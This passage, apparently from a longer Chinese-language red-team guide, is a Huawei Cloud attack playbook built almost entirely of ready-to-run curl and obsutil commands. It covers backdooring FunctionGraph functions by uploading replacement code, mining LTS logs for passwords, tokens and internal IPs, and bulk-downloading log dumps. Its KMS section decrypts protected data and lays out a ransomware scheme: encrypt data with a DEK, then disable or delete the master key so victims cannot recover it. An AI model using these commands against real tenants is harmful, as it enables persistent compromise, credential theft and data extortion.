# 同步调用函数 [REST API]
curl -X POST "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions/{function_urn}/invocations" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"key": "value"}'
# 返回函数执行结果
# 如果函数绑定了高权限 IAM Agency
# 可通过修改函数代码执行任意华为云 API 调用函数代码注入
利用条件: 拥有 X-Auth-Token,具备函数代码更新权限。
# 修改函数代码实现持久化后门 [REST API]
# 此操作极其危险,会直接影响生产环境
curl -X PUT "https://functiongraph.{region}.myhuaweicloud.com/v2/{project_id}/fgs/functions/{function_urn}/code" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"code_type": "inline",
"func_code": {"file": "BASE64_ENCODED_CODE"}
}'注意: 修改函数代码会被 CTS 记录。如果目标配置了版本/别名机制,修改 latest 版本不会影响通过别名调用的流量。
---
LTS 云日志服务攻击
LTS(Log Tank Service)是华为云的日志收集分析平台。日志中经常包含应用层的敏感信息——密码、Token、内部 API 调用等。
日志组枚举
利用条件: 拥有 X-Auth-Token,具备日志查询权限。
# 列出所有日志组 [REST API]
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups" \
-H "X-Auth-Token: $TOKEN"
# 预期输出关注:
# log_group_id: 日志组唯一标识
# log_group_name: 日志组名称
# ttl_in_days: 日志保留天数
# 列出日志组下的日志流(日志主题)
curl -X GET "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups/{log_group_id}/streams" \
-H "X-Auth-Token: $TOKEN"
# 预期输出关注:
# log_stream_id: 日志流 ID
# log_stream_name: 日志流名称
# 常见的日志组/日志流名称:
# lts-access-log (访问日志)
# lts-error-log (错误日志)
# lts-audit-log (审计日志)
# cce-log (容器日志)敏感日志搜索
利用条件: 拥有 X-Auth-Token,具备日志内容查询权限。
# 搜索包含密码/凭据关键词的日志 [REST API]
curl -X POST "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups/{log_group_id}/streams/{log_stream_id}/content/query" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"start_time": "START_TIMESTAMP_MS",
"end_time": "END_TIMESTAMP_MS",
"keywords": "password|secret|token|accesskey",
"line_num": 100
}'
# 搜索失败的认证尝试(发现有效用户名)
curl -X POST "https://lts.{region}.myhuaweicloud.com/v2/{project_id}/groups/{log_group_id}/streams/{log_stream_id}/content/query" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"start_time": "START_TIMESTAMP_MS",
"end_time": "END_TIMESTAMP_MS",
"keywords": "401|403|authentication failed|login failed",
"line_num": 100
}'
# 搜索内网 IP 访问记录(发现内部服务拓扑)
curl -X POST ".../content/query" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"start_time": "START_TIMESTAMP_MS",
"end_time": "END_TIMESTAMP_MS",
"keywords": "10.0.|172.16.|192.168.",
"line_num": 100
}'LTS 时间戳格式: 华为云 LTS 的 start_time 和 end_time 使用毫秒级 Unix 时间戳。可使用 date +%s000 生成当前时间戳,date -d '7 days ago' +%s000 生成 7 天前时间戳。
关键判断: 日志服务是信息收集的金矿。应用日志中经常出现:
- HTTP 请求头中的 Authorization Token
- 请求体中的密码明文(特别是登录接口)
- 错误堆栈中泄露的数据库连接串
- Debug 级别日志中输出的完整请求/响应
日志批量导出
# LTS 支持将日志转储到 OBS
# 如果发现 OBS 中有 LTS 转储的日志目录,可直接下载分析
# 转储路径通常为: obs://BUCKET_NAME/lts/{log_group_name}/{log_stream_name}/
# 通过 obsutil 下载转储日志
obsutil cp obs://BUCKET_NAME/lts/ /tmp/lts_logs/ -r -f---
KMS 密钥管理攻击
KMS(Key Management Service)是华为云的密钥管理服务。攻击 KMS 的目标是解密被加密的数据、获取密钥材料、或利用 KMS 权限进行数据勒索。
说明: 华为云 KMS API 端点为 kms.{region}.myhuaweicloud.com,API 路径使用 /v1.0/{project_id}/kms/ 前缀。
密钥枚举
利用条件: 拥有 X-Auth-Token,具备密钥列出权限。
# 列出所有密钥 [REST API]
curl -X GET "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/keys" \
-H "X-Auth-Token: $TOKEN"
# 返回 key_id 列表
# 获取密钥详情(密钥用途、状态、创建时间)
curl -X POST "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/describe-key" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"key_id": "KEY_ID"}'
# 关注:
# - key_usage: ENCRYPT_DECRYPT 或 SIGN_VERIFY
# - key_state: 2(启用) / 3(禁用) / 4(计划删除)
# - origin: kms(华为云托管) / external(用户导入)
# - key_alias: 别名(暗示用途)关注点: origin: external 的密钥表示用户导入了自己的密钥材料,这些密钥可能在其他地方也被使用。key_alias 包含 obs、rds、evs 等关键词表示用于相应服务的加密。
数据解密
利用条件: 拥有 X-Auth-Token,具备密钥解密权限。
# 解密数据(需要知道密文和对应的 key_id)[REST API]
curl -X POST "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/decrypt-data" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"cipher_text": "ENCRYPTED_DATA_BASE64"
}'
# 返回: plain_text (Base64 编码的明文), key_id (使用的密钥)
# 解码明文
echo "RETURNED_PLAIN_TEXT" | base64 -d攻击场景: 华为云很多服务使用 KMS 加密敏感数据(RDS 透明加密、OBS 服务端加密、EVS 云硬盘加密等)。如果拥有解密权限,可以解密这些数据,即使没有直接访问原始服务的权限。
密钥别名利用
# 列出密钥时关注别名
# 常见别名:
# obs-encryption -> OBS 加密密钥
# rds-encryption -> RDS 加密密钥
# evs-encryption -> 云硬盘加密密钥
# default -> 默认主密钥
# 创建新密钥(用于后续加密勒索)
curl -X POST "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/create-key" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"key_alias": "backup-encryption",
"key_description": "backup encryption key",
"key_usage": "ENCRYPT_DECRYPT"
}'数据加密密钥(DEK)操作
华为云 KMS 支持创建数据加密密钥(DEK),可用于本地加密大量数据:
# 创建数据加密密钥 [REST API]
curl -X POST "https://kms.{region}.myhuaweicloud.com/v1.0/{project_id}/kms/create-datakey" \
-H "X-Auth-Token: $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"key_id": "KEY_ID",
"datakey_length": "256"
}'
# 返回: plain_text (明文 DEK), cipher_text (加密后的 DEK)
# 使用明文 DEK 加密数据,然后丢弃明文 DEK
# 只保存 cipher_text,后续通过 KMS decrypt-datakey 恢复明文 DEK关键判断: DEK 操作是数据勒索攻击的核心——攻击者可以用 KMS 生成的 DEK 加密目标数据,然后删除明文 DEK。如果攻击者随后禁用或删除了 KMS 主密钥,被害者将无法恢复 DEK,从而无法解密数据。